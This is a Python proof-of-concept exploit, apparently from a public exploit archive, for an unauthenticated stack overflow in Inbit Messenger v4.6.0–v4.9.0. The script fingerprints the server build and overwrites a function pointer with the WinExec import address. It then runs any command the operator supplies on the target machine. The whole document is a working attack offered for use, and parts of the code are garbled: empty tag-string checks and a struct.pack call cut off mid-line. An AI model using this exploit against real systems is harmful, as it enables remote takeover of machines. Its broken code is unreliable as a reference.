# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE) # Date: 11/08/2022 # Exploit Author: a-rey # Vendor Homepage: http://www.inbit.com/support.html # Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html # Version: v4.6.0 - v4.9.0 # Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019 # Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md #!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys, socket, struct, string, argparse, logging BANNER = """\033[0m\033[1;35m ╔══════════════════════════════════════════════════════════════════════════╗ ║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║ ╚══════════════════════════════════════════════════════════════════════════╝\033[0m by: \033[1;36m █████╗ ██████╗ ███████╗██╗ ██╗ \033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║ \033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝ \033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ \033[1;36m██║ ██║ ██║ ██║███████╗ ██║ \033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ \033[0m""" # NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number TARGETS = { 4601 : 0x005f3360, 4801 : 0x005f7364, 4901 : 0x005f7364, } # NOTE: min and max values for length of command CMD_MIN_LEN = 10 CMD_MAX_LEN = 0xfc64 # NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow BAD_BYTES = b"\x3e" # > def getWinExecAddress(targetIp:str, targetPort:int) -> bytes: # NOTE: send packet with client build number of 4601 for v4.6.0 pkt = b"<50><0>7146011\x00" logging.info(f"trying to get version information from {targetIp}:{targetPort} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((targetIp, targetPort)) s.send(pkt) _d = s.recv(1024) # find build tag in response if b'' not in _d: logging.error(f"invalid version packet received: {_d}") sys.exit(-1) s.close() try: build = int(_d[_d.index(b'') + 3:_d.index(b'')]) except: logging.error(f"failed to parse build number from packet: {_d}") sys.exit(-1) # get the IAT offset if build not in TARGETS.keys(): logging.error(f"unexpected build number: {build}") sys.exit(-1) # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]' winexec = struct.pack(" None: # NOTE: command must be NULL terminated command += b"\x00" # check user command length if len(command) < CMD_MIN_LEN: logging.error(f"command length must be at least {CMD_MIN_LEN} characters") sys.exit(-1) if len(command) >= CMD_MAX_LEN: logging.error(f"command length must be less than {CMD_MAX_LEN} characters") sys.exit(-1) # get WinExec address winexec = getWinExecAddress(targetIp, targetPort) # get a string representation of the length of the command data after the <> tag parsed by atol() pktLen = str(len(command)) pkt = b"<" # start of XML tag/stack overflow pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character pkt += b"\x00" # NULL terminator to force atol to ignore what comes next # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol() pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite pkt += winexec # indirect function pointer we control pkt += b">" # end of XML tag/stack overflow pkt += command # the command set to the call to WinExec() logging.info(f"sending payload to {targetIp}:{targetPort} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((targetIp, targetPort)) s.send(pkt) s.close() logging.success("DONE") if __name__ == '__main__': # parse arguments parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER) parser.add_argument('-t', '--target', help='target IP', type=str, required=True) parser.add_argument('-c', '--command', help='command to run', type=str, required=True) parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883) args = parser.parse_args() # define logger logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO') logging.SUCCESS = logging.CRITICAL + 1 logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m') logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m') logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m') logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m') logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args) # print banner print(BANNER) # run exploit exploit(args.target, args.port, args.command.encode())